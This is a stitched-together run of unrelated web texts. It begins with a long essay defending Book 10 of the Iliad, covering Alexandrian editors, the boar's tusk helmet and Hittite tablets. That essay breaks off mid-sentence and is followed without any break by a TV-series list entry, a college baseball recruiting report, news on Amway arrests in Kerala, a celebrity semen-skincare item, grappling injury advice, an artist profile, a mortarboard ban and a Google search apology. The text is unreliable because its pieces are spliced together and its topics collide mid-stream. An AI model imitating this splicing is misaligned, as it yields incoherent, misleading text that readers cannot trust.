As for the negative opinions in ‘ancient times’ that Mitchell cites, the ones that count are the opinions of the Hellenistic trio most responsible for the redaction of the texts of the Iliad and Odyssey as we now have them: Zenodotus of Ephesus, the first librarian of the Museum of Alexandria, fl. 280 BCE; Aristophanes of Byzantium, its fourth librarian; and the sixth librarian and most important Homeric scholar of the three, Aristarchus of Samothrace. Surviving bits of Homer on earlier papyri as well as Homer citations by earlier authors show that there were large variations in different copies of both Homeric texts. But that all ended with the Alexandrian trio’s culminating achievement, the Iliad and Odyssey editions of Aristarchus. Evidently, master copies were made available to scribes from near and far, or perhaps scribes were employed to produce copies in numbers for sale, which thus became the only editions. Hence post-Alexandrian variations in the text are much smaller than before, the result of scribal errors, omissions and interpolations as papyrus rolls and then codices were copied again and again down the centuries, rather than different textual origins. The most important Iliad witness we have, Venetus A, the tenth-century manuscript now in the Biblioteca Marciana in Venice that came from Byzantium via Cardinal Bessarion’s Roman collection, is essentially the Iliad of Aristarchus, with his own marginal notes (scholia), further lexical and a few exegetical notes by others, and precious excerpts from the lost Chrestomathy of Proclus, our major source for the Epic Cycle on the Trojan War, which describes how it started and ended, on either side of the Iliad’s account of a few weeks in the ninth year of the war.
The textual supremacy established by Zenodotus, Aristophanes and Aristarchus was very hard won. Zenodotus had to start by compiling glossaries of Homeric Greek, because by then the received songs were at least half a millennium from their terminal composition, while even written renditions had been circulating for three centuries, so that many words had changed their meaning. Each had to be understood in order to redact the text, but there was no translation into contemporary literary (Attic) Greek – even then, Homer was a revered ancient whose archaic language was not to be profaned. Grammatical studies followed, and the alphabet too had to be repaired in many texts before editing could begin, because Athens was a major source of variant Homers, and till 403 BCE Athenians had used an older alphabet in which epsilon made good for epsilon-iota and eta as well, the omicron enclosed omicron-upsilon and omega, while xi and psi were absent. Aristophanes of Byzantium is reputed to have added punctuation and accents, editorial signs were invented by all three, the present division of both the Iliad and Odyssey into 24 books was set, and only then could the actual editing begin, to compare variant writings and correct them, to obtain the most authentic, most coherent and no doubt most attractive text possible at each remove. That required the condemnation of spurious, confusing and displeasing words and phrases, and Aristarchus became so famous for his severity that Horace, in his bit in Ars Poetica about good friends not allowing friends to drive to town with bad verse that would embarrass them, invited them to become Aristarchs.
Inevitably, well-salaried establishment intellectuals were a stuffy lot, so Zenodotus, Aristophanes and Aristarchus also questioned text they accepted as authentic because it was too prurient (as with Agamemnon’s wanting Chryseis to serve him in bed till she grew old) or disrespectful of the gods, or lacking in the nobility expected of Homeric heroes, a definite problem with Book 10, in which Odysseus and Diomedes set out on a night scouting raid to find out what the victorious Trojans will do next – fit duty for first-class heroes – but then infiltrate the camp of their Thracian allies purely for the sake of loot: the magnificent white horses that pull the gold and silver chariot of Rhesus, their chief. They know of the horses from their hapless captive Dolon, a weakling who tells all (including relevant intel on Hector) in a desperate plea to be spared. He is reassured by Odysseus in warm and friendly tones, but is then abruptly decapitated by Diomedes, thus adding cruelty to treachery and greed.
Unlike Mitchell, the Alexandrian trio did not suppress what they doubted or disliked, or found improper, but only what they were sure was post-Homeric pastiche. Otherwise they suggested, not deleted. We know that of 413 alterations proposed by Zenodotus, 240 remained without effect in extant manuscripts and only six changed readings appeared in all of them; of 83 known emendations by Aristophanes only seven appear in most manuscripts that have reached us, while Aristarchus offered 874 suggestions we know of, of which only eighty are in the text of all our manuscripts. One of these suggestions was that Book 10 was added to the Iliad at a later stage than the other parts, though still before written versions, and long before its first official recitation in the Panathenaic Games that started in 566 BCE (that would have been 24 hours of non-stop declamation, or longer if sung, or three days if more mercifully recited).
Aristarchus did not delete Book 10 – had he done so, we might well have lost it altogether. Instead, he merely noted his opinion of certain lines, agreeing for example with Aristophanes in rejecting ll. 51-53 as interpolations, rejecting l. 84 on his own, agreeing with Zenodotus in rejecting l. 240 and so on. They would not have bothered with this had they thought the entire book was spurious. Nor would the delayed insertion of an originally separate account of the night raid signify anything, given the fluidity of the epic at that unwritten stage. Almost two thousand years before Parry/Lord uncovered the mechanics of composition in detail, Josephus described its essence in Against Apion, and because he was certainly well educated but not uniquely accomplished, this must have been a common opinion among literate contemporaries: Homer, ‘they say, did not leave his poems in writing. At first transmitted by memory, the scattered songs were not united until later; to which circumstance the numerous inconsistencies of the work are attributable.’ (These lines by Josephus, incidentally, started Friedrich August Wolf on his 1795 deconstruction of Homer, whose nonexistence now coexists with the sensational Hittite evidence of a Trojan War.)
Mitchell, moreover, is entirely wrong when he claims that Book 10 can be removed without loss. On the contrary, without it, Book 11 cannot be reconciled with Book 9, judged the finest of them all by many, including the master philologist and literary appreciator Ulrich von Wilamowitz-Moellendorff (in Die Ilias und Homer, 1916; he was forever cited by my father as a real scholar, and among the very greatest after only his father-in-law, Theodor Mommsen). The context of Book 9, which contains the celebrated protest of Achilles against the heroic code, by which competing translations are often judged, is his continuing refusal to fight even as the Trojans are winning and defeat seems imminent. With many of his famous men killed and more demoralised, a weeping Agamemnon first proposes to abandon the war and sail away, then humiliates himself by offering all manner of rewards to induce Achilles to rejoin the fight, including marriage with whichever of his daughters he prefers. Obviously, the situation is desperate. Yet at the very start of Book 11, after the supposedly useless Book 10, the minor female deity of war Eris (Enyo elsewhere in Homer) easily rouses the Achaeans to fight rather than flee, a striding Agamemnon shouts aloud to command his eager men to array themselves for battle, and off they go to attack the Trojans in full force and high spirits. What happened to raise morale so much was Book 10’s successful night raid. Take it away, and we are left with an incomprehensible non sequitur. Some things in war really are eternal and universal: if a great fight is expected next morning, launch a night raid to raise morale on your side and demoralise the enemy – or at least ruin his sleep.
The issue of style isn’t as simple as Mitchell seems to think either: other books of the Iliad also contain ‘later’ wording and frequent dialectical apposition. It is true that there is rather more of it in Book 10 than elsewhere in the Iliad – but by ‘later’ what is meant is the language of the Odyssey, not of some post-Homeric age. That again suggests that Book 10 was added after the other books were formed, in place of an earlier, shorter transition between the defeated gloom of Book 9 and the high-morale attack of Book 11.
There is thus an excess of compelling reasons not to deviate from the Iliad that we have had for the last 23 centuries, but even if none were valid, Book 10 would still be most precious because it contains the description of the boar’s tusk helmet – a single object that illuminates the entire Homeric question. Odysseus is kitting out for the night raid with a bow, quiver, a sword and a helmet made of hide, better suited for fast movement than the much heavier bronze helmet with ridge and horsehair crest. But this isn’t a simple skullcap: ‘With many a tight-stretched thong was it made stiff within, while on the outside the white teeth of a boar of gleaming tusks were set thick this way and that, well and skilfully’ – i.e. running in alternate directions – ‘and on the inside was fixed a lining of felt.’
The poet and his audience would have known that this was an outlandishly antique helmet whose arrival on Odysseus’ head needed explanation. It is duly supplied: Autolycus stole the helmet from Amyntor (as a son of the god Hermes, thievery was in his blood), gave it to Amphidamas, who gave it to Molus as a ‘guest gift’, who gave it to his son Meriones, who gave it to Odysseus. Actually, it must have had a much longer history, because parts of exactly that kind of helmet have been found in Mycenaean shaft graves dating back to the second millennium.
It might seem obvious that the earliest stage of the Iliad’s composition would be Mycenaean, as obvious as the clear parallels between the material evidence of the Mycenaean sites and the artefacts described in the text, from the bronze swords of Skopelos to the chariots often depicted on pots. But until the 1952 decipherment of Linear B by Michael Ventris and John Chadwick, the ruling orthodoxy was that a hypothesised ‘Minoan’ was the (un-Greek) language of the palace culture of Crete and the Mycenaean settlements, so that the origins of the Iliad must come after that, not earlier than the start of the first millennium. It had to be post-Mycenaean because its language was post-Mycenaean, i.e. Greek. The Linear B decipherment overthrew this presumption: its starting point was Ventris’s bold theory that the words were in Greek (‘Evidence for Greek Dialect in the Mycenaean Archives’ was the suitably restrained title of the sensational 1953 announcement in the Journal of Hellenic Studies). That would allow the oral composition of the Iliad to start at a much earlier date, say around 1500 BCE, give or take a century, and the boar’s tusk helmet of Book 10 is hard evidence that it did, because there is no possibility whatever that it, or its memory, could have survived for half a millennium. It is mentioned nowhere else in the Iliad, and nor for that matter is horse-riding, another unique feature of Book 10 (the horses were ridden off by Odysseus and Diomedes, leaving Rhesus’ chariot behind) and another reason to keep it.
The earlier date, moreover, opens the door for the evidence extracted from deciphered Hittite cuneiform tablets, irrelevant to a ninth-century bce or later Iliad, because the last remnant of that empire had been extinguished by then, but contemporary with Mycenaean Greek life over the previous thousand years. Much fuller use of new archaeological evidence is being incorporated in the monumental (one volume per Homeric book) and wonderful Basler Homer-Kommentar by Anton Bierl and Joachim Latacz, but for the rest of us a mere catalogue of names is already quite illuminating. To begin with the identity of the tablet-writers, they were the second millennium Indo-European conquerors of the more ancient Hatti, whose prestigious name they took over, and whose imperial capital was Hattusa. Our form ‘Hittite’ from the Hebrew ‘Hitti’ is the biblical version. They are often mentioned, from Genesis 15.9 onwards, but the clincher is 2 Kings 7.6, which identifies the Hittim as a mighty empire that fights with war chariots – no mere Canaanite tribe they (with a coincidentally similar name). Those war chariots, incidentally, linger in the Iliad as mere golf carts because all the fighting is done on foot. One set of tablets preserves the text of an elaborate treaty of friendship in the form of a letter from ‘His Majesty Muwattalli [the second], Great King, of the land of Hattusa to Alaksandu ruler of Wilusa’, which is identified as being near Arzawa. Muwattalli II’s regal dates fit, roughly 1295-1272 BCE, and so do the names: Alaksandu cannot be other than Alexander, which happens to be the other name of Paris, he who stole away the wife and treasure of Menelaus, but it is certainly the name of a decidedly Greek ruler. Wilusa is most definitely Troy. The book we know as Iliad is the adjective for the city of Ilios – in our present text of the Iliad the place is called Troié less often (53 times) than it is Ilios (106 times). Ilios sounds much closer to Wilusa than Troié but their identity need not rely on a similarity that could be coincidental, because it can be shown quite conclusively that the city’s original name was ‘Wilios’: the W sound, in both spoken and written East Ionic Greek, was used till 1200 BCE and became increasingly silent thereafter: the Iliad was really the ‘Wiliad’. As to the location of Wilusa, it is certainly in western Anatolia, the Roman province of Asia, because the Arzawa mentioned in Muwattalli’s letter is definitely there (indeed the Roman and modern ‘Asia’ is most likely derived from ‘Arzawa’). Beyond that, other deciphered cuneiform evidence more precisely correlates Wilios with the present Truva, the new Turkish name (there is a large wooden horse too) for the ancient city long rumoured to be Troy, which was first excavated in 1865 by the underpaid consular Brit Frank Calvert, and then on a much larger scale by the wealthy German adventurer, genius and fabulist Heinrich Schliemann.
More evidence, the so-called Tawagalawa letter, from an unnamed Hatti ruler to an unnamed ruler of the Ahhiyawa, refers to a past conflict that has been resolved amicably: ‘Now as we have come to an agreement on Wilusa over which we went to war.’ Even though the date is uncertain because the author has variously been identified as Hattusili III (1265-1235 BCE, the earlier Muwattalli II (1295-1272 BCE) or even his revered ancestor Mursili II (1322-1295 BCE), there is no doubt whatever that the war over Wilusa had been fought with the Ahhiyawa, i.e. the Achaeans, by far the most common name in the Iliad for Agamemnon’s people alongside the less frequent Danaans and Argives. There is much more to this body of evidence, including a vastly intriguing to-do over the dangerous and obviously Achaean raider Piyama-Radu, who acts rather like Achilles did just before the Iliad starts (that’s how he got the girl), and whose extradition is politely requested under assurances of safe conduct (!) – what did the Hatti ruler want to chat about with him?
What is certain is that while poor Homer has been kicked out of history, the Iliad can now be treated as a historical source, if only because of its many and surprisingly precise geographical references – none more so than in the bit about Poseidon looking at the plain before Troy from a mountaintop on the island of Samothrace (Samothraki) notwithstanding the island of Imbros and the horizon in between: no need to be a god, because the plain is indeed visible from the peak of Mount Fengari, 1611 metres high.
None of this offers even a start to the question of why people keep buying and presumably reading an interminably long, frequently repetitive and intermittently gruesome Iron Age rendition of Bronze Age combat. One reason, obviously, is that had Homer existed (in spite of his deconstruction by Wolf, and in spite of his substitution by Parry/Lord), he would have been the star pupil of any creative writing course. They teach a variety of tricks and techniques for different kinds of writing, but Homer uses absolutely all of them: the Iliad begins in medias res with the action underway, and instead of a tiresome summary of the first nine years of the war, necessary context is supplied by scattered flashbacks; it starts, moreover, with a quarrel on the Achaean side that is a fast way of introducing its two principal protagonists, Agamemnon and Achilles, each acting out at maximum volume to reveal his character immediately; the indispensable enlistment of emotions to make us care for the characters’ fates is fully accomplished, on both sides, most strongly perhaps for Hector as he parts from his infant son and desolate wife for a day of combat, but also for the teenage fighter who grasps Achilles’ leg in a futile plea for mercy in Book 22, and many others; the build-up of tension leading to a great climax is relentless, and achieved not once but twice, first in the long delayed return of Achilles to combat, preceded by dramatic renditions of the bloody losses his absence had caused, and then in the duel between Achilles and Hector, all the more dramatic because of the final loss of nerve of Priam’s most valiant son. On top of that, there are the production values, as Hollywood calls them: lots of special effects ranging from the habitual falling-star incandescence of the gods to the extraordinary revolt of the river god Scamander against Achilles, who had fouled the river with bleeding dead bodies (he would have drowned in a thunderous flood had not the gods intervened); the gorgeous Cecil B. DeMille battle scenes written as if seen from above, sex scenes all the more erotically charged because they are inserted between dramatic peaks and, throughout, the reciprocal balancing of the inevitable human tragedy of mortality with the tragicomedies of the cavorting gods.
It is those gods who supply an excellent reason for the millennial success of the Iliad: the fact that it offers a vision of uncompromised human dignity which was very rare indeed over much of human history. None of the characters is piously god-fearing, even if all fear the harm that the frivolous and often malevolent gods can and do inflict, usually to punish the merest slights. These are gods who have only power and no moral authority – when they have their own battle in Book 21 they are not awesome but ridiculous. Such gods can only evoke grudging compliance rather than sincere devotion – nobody would voluntarily renounce any pleasure for them, let alone die for them.
Undiminished by gods, human dignity is not diminished by secular authority either. Agamemnon commands many more troops than Achilles: he has a hundred ships in Book 2’s catalogue and his brother Menelaus has sixty more, as against fifty. Achilles is therefore forced to give up his prize captive, but he is not forced to be deferential, and roundly insults Agamemnon to his face. It wasn’t necessary to be the issue of Zeus and a great hero to be free from deference, or indeed to insult a king: Thersites, the nearest thing to a bolshie private in the Iliad, loudly insults Agamemnon as well, for which he is not executed for lèse majesté but merely beaten up by Odysseus in another of his ugly roles, as a bully boy.
That is the supremely enhancing vision that has always been offered by the Iliad: human dignity at its fullest, undiminished by piety or deference to gods or kings. In recent centuries, the Iliad could also offer another kind of freedom, from the collective obligations levied on individual freedom by patriotism, and from the more intense compulsions of nationalism, both all the more destructive of freedom when entirely voluntary. Achilles is angry and therefore refuses to fight, and nobody tells him that it is his duty to fight for the Achaean/ Danaan/Argive cause because he is Achaean/ Danaan/Argive, nobody calls him a deserter because there |
all but unrecognizable.
20. The L Word (2004-09)
The L Word began as a lesbian soap opera, following the lives and loves of a group of (mostly) lesbian friends in Los Angeles. In season two, the show ramped up the ridiculousness to include an absurd plotline about a male roommate who planted hidden cameras throughout the home he shared with Jenny (Mia Kirshner) and Shane (Katherine Moennig), leading Jenny to experience several repressed memories of sexual abuse at a carnival, apparently by klezmer musicians. By season three, the show bore almost no resemblance to reality—even soap-opera reality—and in seasons four and five, the show seemed to embrace its ridiculousness and turn into farce. In season six, the show’s writers decided to take a stab at another genre—why not?—by introducing a murder-mystery, although the L Word version was, naturally, high-camp. But The L Word isn’t just a mutant television series: Several of the characters are mutants as well, changing personalities from season to season or episode to episode. Alice Pieszecki (Leisha Hailey) is an out-and-proud bisexual in season one, but her sexuality has completely disappeared by season two, with no explanation or revelation. In season two, Helena Peabody (Rachel Shelley) is introduced as a ruthless, manipulative, cold-hearted outsider whose only goal is to make Bette Porter’s (Jennifer Beals) life hell. By season three, she’s generous, kind-hearted, and good friends with all of Bette’s friends. Continuity is definitely not an “L word.”TUCSON, Ariz. — Vanderbilt landed the No. 1 recruiting class in the nation, according to Collegiate Baseball’s 2017 evaluation of NCAA Division I baseball classes.
It marks the Commodores’ second national recruiting title by Collegiate Baseball after landing the No. 1 class in 2012.
Seven of the top 10 teams are from the Southeastern Conference. It marks the eighth time in the last nine years that an SEC team has won the recruiting championship.
It is the 35th straight year Collegiate Baseball has evaluated NCAA Division I recruiting classes.
Athletes who initially signed letters of intent with a school, but then signed a pro contract after being drafted, do not count in the overall evaluation. Only athletes who came to school this fall are factored in as points are awarded to drafted players and the round they are chosen, All-Americans, All-State selections and All-Conference picks.
Collegiate Baseball also gives points for Conference Players of The Year, State Players of The Year and National Players of The Year.
The Commodores landed a star-studded class of 17 freshmen with five players drafted last June. Ten of the 17 players are high profile pitchers.
The drafted players include:
LHP Jake Eder (Calvary Christian, Ft. Lauderdale, FL), 34th round Mets.
SS Austin Martin (Trinity Christian, Jacksonville, FL), 37th round Indians.
CF Pat Demarco (Winder-Barrow, Winder, GA), 24th round Yankees.
CF Cooper Davis (St. Aloysius Gonzaga, Mississauga, Ontario, Can.), 25th round Blue Jays.
RHP Tyler Brown (Olentangy Orange, Lewis Center, OH), 26th round Reds.
Other superb players in the class include:
C Philip Clarke (Christ Presbyterian Academy, Nashville, TN), All-American.
3B Garrett Blaylock (T.C. Roberson, Asheville, NC), All-State.
INF Jayson Gonzalez (Bishop Amat, La Puente, CA), All-American.
LHP Hugh Fisher (Briarcrest Christian, Eads, TN), All-State.
RHP Aaron Brown (Mt. Juliet, TN H.S.), All-State.
C Tyler Solomon (Battlefield, Haymarket, VA), All-State.
RHP David Bates (Christ Presbyterian Academy, Nashville, TN), All-State.
LHP Joe Gobillot (St. John’s H.S., Houston, TX).
RHP Erik Kaiser (Waterloo H.S., IL)
RHP Justin Willis (Memorial H.S., West New York, NJ).
RHP Mason Hickman (Pope John Paul II H.S., Hendersonville, TN).
RHP Corbin Brooksbank (McCallie School, Signal Mountain, TN).
“It is the first time in years we were able to keep our entire draft class intact,” said Vanderbilt Associate Head Coach/Pitching Coach Scott Brown.
“You never believe that you will land every single player you went after, but this is what happened with this class,” said Brown.
“We have a collection of big bodied pitchers with live arms.”
Every single pitcher throws in the low 90s to 98 mph with their fastballs and are huge physical specimens.
A complete rundown on the top 25 recruiting classes is featured in the Oct. 6 issue of Collegiate Baseball. To purchase a copy or subscribe, CLICK HERE.
2017 NCAA Div. I Recruiting Results
By Collegiate Baseball
Vanderbilt Florida South Carolina Arizona St. Louisiana St. Arkansas Oklahoma St. Auburn Kentucky Michigan Clemson Oklahoma Miami, Fla. Florida St. Georgia Tech. Central Florida Florida International UCLA U.C. Santa Barbara Texas Christian Texas A&M North Carolina Louisville Mississippi St. South Alabama Virginia Cal. St. Fullerton Texas Southern California Coastal Carolina Arizona Stanford San Diego St. U.C. Riverside Oregon Oregon St. New Mexico St. East Carolina Maryland Cal. St. Northridge
Other Top Recruiting Classes: Minnesota, San Diego, Texas Tech., Rice, N.C. Wilmington, Memphis, Nevada, Mississippi, Baylor, Iowa, Louisiana-Lafayette, Washington, Missouri St., Hawaii, California, Dallas Baptist, Utah, Kansas, Winthrop, Duke, Southern Mississippi, Indiana, Cal Poly, Houston, U.C. Irvine, Middle Tennessee St., N.C. State, Ohio St., Kennesaw St., Georgia Southern, Sam Houston St., Alabama, Washington St., Wake Forest, Tulane, Marshall, Oral Roberts, St. Mary’s, Florida Gulf Coast, Creighton, Fresno St., Gonzaga, Bryant, Loyola Marymount, Missouri, Virginia Tech., Butler, Western Kentucky, Tennessee, St. John’s, Seton Hall, Florida Atlantic, Wichita St., Pepperdine, Kent St., Central Michigan, Ball St., Long Beach St., Western Michigan, Texas St., Nebraska, College of Charleston, Notre Dame, West Virginia, Stony Brook, Connecticut, Brigham Young, Grand Canyon, Seattle.
Source: Collegiate Baseball
Previous NCAA Div. I
Recruiting Champions
By Collegiate Baseball
2016: Arizona St.
2015: Florida
2014: Louisiana St.
2013: Florida
2012: Vanderbilt
2011: South Carolina
2010: Louisiana St.
2009: Florida
2008: Arizona St.
2007: Louisiana St.
2006: South Carolina
2005: South Carolina
2004: Louisiana St.
2003: North Carolina
South Carolina
2002: Georgia Tech.
2001: Southern California
2000: Cal. St. Fullerton
1999: Southern California
1998: Georgia Tech.
1997: UCLA
1996: Texas A&M
1995: Arizona St.
1994: Mississippi St.
1993: Miami (Fla.)
1992: Florida St.
1991: Miami (Fla.)
1990: Arizona
1989: Florida St.
1988: Miami (Fla.)
1987: Stanford
1986: Stanford
1985: Hawaii
1984: Florida St.
1983: Arizona St.
Source: Collegiate BaseballIt was in this context that the officials of Amway were arrested. The charges against the company were that it violated the Prize Chits and Money Circulation Schemes (Banning) Act, 1978. MLM companies like Amway sell products by enrolling new members. "The sales by members at the lower level will bring in returns for the members at the higher level, which is in violation of the Act", said Valsan.The company was also charged with steeply hiking up the prices of its products. Some times, the price increase amounted to around 10 times of the real value of the product, the police said. "For example, a product with a price of Rs 341 is sold at Rs 2,400," Valsan said adding that such a pricing policy amounted to cheating the consumer.Jacob Punnoose, a former director general of police in the state, said, "The police have to investigate when they receive a complaint." Nevertheless, Punnoose, who ordered the enquiry, said, "It is difficult to distinguish between an ordinary MLM company and an MLM company with a Ponzi scheme built into its business model." So the police should not act in the same way against all MLM players in general, he said.A spokesman for Amway said the company has always responded to complaints and followed the due process. "The arrests caught us by surprise because of the manner in which they happened. We didn't even receive a summons," he said, adding that the company will fight the case legally and follow the changes in legislation that the government is proposing."Indeed, there have been no complaints against the products of Amway India in the state. "We have not received any complaints against the products of the company," said A Rajesh, president, Ernakulam District Consumer Redressal Forum. Same has been the case in Kozhikode also, according to Yethunathan, president of the Consumer Redressal Forum in the district.Consumer rights activist Dijo Kappen was also sceptical of the police action against the company. "When the company conducts its business without any legal issues in other states, how can Kerala alone question its legal status?" he asks.A former distributor of Amway said the Prize Chits and Money Circulation Schemes (Banning) Act, 1978 was enacted when there was no concept of direct marketing. "The industry has been asking for the amendment of the act," he added. According to Amway, direct selling is a business model involving the sale of products. There are no deposits or promised financial returns, which was at the heart of the PCMCS Act.Now, the Indian direct selling industry has decided to fight the Act. In spite of the large number of regulations, the direct selling sector in India still does not have a clear policy framework. Chavi Hemanth, secretary general, Indian Direct Selling Association (IDSA), said, "According to survey report of IDSA with ICRIER the PCMCS (Banning) Act, 1978 is not applicable to direct selling as it is a trade and commerce activity wherein PCMCS (Banning) Act, 1978 was formulated with an aim to regulate financial schemes".The industry thinks the Kerala government is supportive and is enacting new policies to make direct selling guidelines all inclusive. At the same time, at the ground level the industry is still facing problems, which is dampening the spirit of the industry.Kerala has one of the highest levels of unemployment in India. The industry recruits its members from the large pool of educated unemployed estimated at around 40 lakh people. "If these companies are legitimately run, I do not see any reason why they should be targeted, especially when they offer a livelihood to our unemployed youth," says Kappen.It's already been proven that Heather Locklear is doing a bang-up job aging with grace. (Seriously, she looks the same age as her 15-year-old daughter.) So when the 51-year-old actress offered up the secret to her great skin, we listened closely... and were subsequently grossed out.
In an on-camera conversation with TMZ reporters, she was asked if she had any recommendations for anti-aging skincare products. Her reply? "You just put semen on your face."
Leaving aside the fact that we can't tell if she's kidding, we have reason to actually take this one seriously. Sure, the thought is gross (as are TMZ's puns on the matter -- "shot to the face," anyone?) but the research is there: Semen may have anti-aging benefits.
Semen as an anti-aging treatment saw a spike in popularity (or at least curiosity) around 2009. Turns out spermine, one of the components of semen, is high in anti-oxidants and can be used to smooth out wrinkles. An enterprising Cosmo reporter even went and got a sperm facial at a swanky New York spa, confirming that her skin did feel smoother afterwards.
None of which convinces us to start incorporating spunk into our beauty routines. But hey, have you seen Heather Locklear lately? Her skin looks amazing.
Take it from Heather...
See how the star's look has evolved:
PHOTO GALLERY Heather Locklear's Style Evolution
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Do you have a style story idea or tip? Email us at stylesubmissions@huffingtonpost.com. (PR pitches sent to this address will be ignored.)I’m not going to pretend that injuries don’t suck. They do.
There have been many great athletic careers cut short by injury. Many people who would otherwise have been great have had their dreams derailed when a bone went ‘crack’ or a ligament went ‘snap’ and then never quite recovered.
The typical reaction of the BJJ addict when they get injured is, ‘Oh no, now I can’t train.‘ Sometimes this inability to train and improve your skills hurts more than the pain of the injury itself.
I usually have 3 pieces of advice for people people bummed out about not being able to train…
1) Don’t do something foolish and rush back too hard and too fast.
If you re-injure yourself then it’ll take even longer to recover. This is a tortoise-and-the-hare type of situation: make haste by going slowly and carefully.
2) Watch your diet and do anything you can to maintain your fitness.
Your road back will be so much longer if you come back to the dojo out of shape and 25 lbs overweight.
I’ve known many athletic people reacted to an injury by becoming couch potatoes and overeating. Perhaps they were clinically depressed, or maybe it was simply because they weren’t burning off the excess calories through exercise anymore, but the weight they put on made it take much, much longer to get back into fighting shape.
If you can’t run then swim. If you can’t swim then bike. If you can’t weight train your lower body then strengthen your upper body.
Doing something is better than doing nothing.
3) Keep your head in the game.
Watch videos, study instructionals, review apps, and read articles. If you used to train 6 hours a week on the mat then you might be surprised at what studying the art on your computer for just 3 hours a week might accomplish.
Pick an area that you’ve been meaning to work on (sidemount escapes, reverse de la Riva guard sweeps, armbar grip breaks, whatever…), commit what you learn to memory, and then use visualisation to ‘train’ the movements. I promise that this will have carry-over when you get back to physical training!
So we’ve discussed a few strategies for not falling too far behind when you’re injured. Making the best of a bad situation…
But sometimes, just sometimes, there’s also a silver lining in that dark cloud…
Sometimes an injury is also an opportunity to work on a different aspect of your game.
Necessity is the mother of invention. When you can’t do things in the way that you’ve always done them, then sometimes it forces you to find new ways to accomplish what you want to do. Injuries can sometimes open the door to entirely new possibilities.
I was recently corresponding with someone who had had a long string of wrist and finger injuries. His hands were taking a beating every time he trained, and it was getting harder and harder for him to do his favourite techniques.
As we talked it became clear that he had a very grip-dependent game. In fact he specialised in the spider guard which requires a ton of sleeve and lapel gripping. And every time he grabbed cloth it was a death grip; he never released it until he absolutely had to.
My suggestion to him was to train in no gi submission grappling for a while. Without the gi you do a lot less deathgripping, less pulling, and you tend to push more. Also the spider guard is a lot harder to do. Hopefully this will give his fingers time to heal, as well as develop better scrambling abilities and allow him to explore new forms of guard.
All this will pay big dividends when he eventually returns to the gi.
I have experienced these dividends myself. I feel that my open guard took a big leap forward when I had an arm injury early in my BJJ career. Here’s the specific drill I used, and I still use it whenever I’ve got a tweaked wrist, elbow or shoulder.
Another example of adversity leading to technical improvements comes from the originator of the modern half guard, Roberto ‘Gordo’Correira.
When Gordo was 18 years old he suffered an injury that tore the ACL in his left knee. This made conventional guard play impossible, so he started working from the half guard which up to that point had been a purely defensive position in BJJ.
Not only did this allow him to continue training, but it also eventually led to the development of an entirely new area of jiu-jitsu: the offensive half guard.
All of a sudden people started seeing this formerly disadvantageous position – the half guard – as a powerful platform which you can use to sweep, attack and submit their opponents.
Gordo talks about how the knee injury shaped his game from 4:23 to 7:20 in the video below.
And finally, if you’re feeling depressed about not being able to do certain things on the mat while your injury heals, consider the story of Anthony Robles…
Antony is the one-legged wrestler who won the 2011 NCAA individual wrestling championship, competing against able-bodied opponents in the 125-pound weight class.
Just to be clear: it’s a guy with ONE leg competing and winning in arguably the toughest, most demanding sport in the world…
He found a way to turn his disadvantage into advantage. The lack of a leg meant that he had much greater upper body strength than the other people in his division, as well as unique techniques and attacks that his competitors hadn’t seen before.
It’s an incredibly inspiring story. Check out the video below:
P.S. If you’re currently injured why don’t you check out some of the free resources that we have for you at Grapplearts? It’s all good stuff, and if you don’t like what you get you can unsubscribe from our newsletter at any time.
Comments ( )This is a collection of film poster art from Laura Racero.
Racero is a freelance art director, illustrator, and designer based out of Madrid, Spain. She is mostly focused on digital art and photography. I am personally very interested and attracted to her film posters, as it has been an art form that has always drawn me into a film. Sometimes the artwork has been more memorable than the movies, with some of the worst films ever having some wonderful poster art. You can view more of her art and purchase prints on her website. Check out her bio and images below.
"The first time I used a pencil, I was 3 years old. And since then, I have not stopped drawing, either on paper or on a tablet.
The film world caught my eye since I was a child. By then, the facades of movie theatres showed enormous and colorful reproductions of movie posters. And I always looked at them completely fascinated.
The poster that made me fall in love with the profession was the one Richard Amsel designed for "Raiders of the Lost Ark". And along with Amsel, Drew Struzan became very quickly an inspiration. In my first fan art pieces, I tried to imitate his style using digital techniques. Gradually, I went away from that, finding my own style. It was both a well considered decision but also the result of a natural evolution. However, film posters were just a hobby, a way out to deal with my daily work as visual designer in an advertising agency. One day, the director of sci-fi short film "REM" asked me to design the poster for his short. I realized that was what I had always wanted to do and that I could devote to it, for real. The world of cinema —where dreams were made— was not as far as I had believed.
A great movie needs a great poster: for me it is a essential piece, a window to the world of the film that has to show the Truth about it. And although I use computers as a tool, I try to give my works that handmade human touch that inspires and transcends a sheet of paper.
I am really passionate about watching movies —it makes me happy. But I am even more passionate about designing film posters —that makes me even happier. That's my Truth."It’s a much-loved academic tradition that has fallen foul of health and safety concerns of late, as universities strive to prevent graduates flinging their mortarboards in the air. Yet at one UK campus, a very 21st-century solution might now be at hand after students were told that images of the headwear will be digitally added afterwards if they simply mime the act when photographs are being taken.
The instructions were sent out to students at the University of East Anglia (UEA) after the institution in Norwich reportedly said that a number of graduates had been hurt by falling hats in recent years.
“As well as being safer, this will have the added advantage that even more of the students’ faces will be seen in this photograph,” according to the miming guidance issued by a photography company, which was reported by the student newspaper The Tab.
Lancashire school bans birthday cakes Read more
Louisa Baldwin, the Law Society president at UEA, was quoted as saying: “If I’ve paid £45 to hire a bit of cloth and card for the day, I should be able to chuck my hat in the air! It’s nothing worse than the weekly ritual of dodging VKs as they’re lobbed across the LCR [lower common room] dance floor.”
Describing the throwing of hats as an “unacceptable risk”, the University of East Anglia said: “The decision to not have the traditional ‘hat throwing’ photo opportunity for all students this year follows a number of injuries over recent years to graduates hurt by falling mortarboards. This is an unacceptable risk, and we want to ensure no student’s graduation day is ruined by the potential for avoidable injury.”
The institution said the ban had been agreed by academic dress suppliers, which often received “damaged mortarboards” after graduations.
Anglia Ruskin University, in Cambridge, recently attempted to put a stop to mortarboard throwing. A statement addressed to students read: “It is requested that graduands [those about to graduate] do not throw the hat up into the air, as this not only causes damage to the hats, but can also cause injury if the corner of the hats hits the graduand or others nearby.”
The University of Birmingham has reportedly also urged its students not to throw their black caps in the air in celebration, citing health and safety reasons.Google says results 'trouble' company and are not'reflective' of its opinions
Google on Wednesday apologised for ‘any confusion or misunderstanding’ after Indian PM Narendra Modi’s image began appearing in image search results for the query “Top 10 criminals”.
The list also included 1993 Mumbai bombings mastermind Dawood Ibrahim, American gangster Al Capone, Microsoft founder Bill Gates and Delhi chief minister Arvind Kejriwal.
When I googled "10 Top Criminals", I found PM Modi's pics along with Laden, etc. Google must b SUED. #Top10Criminals pic.twitter.com/lgD6J9uaCG — Suvie Ritu Chandra (@SuvalagnaC) June 3, 2015
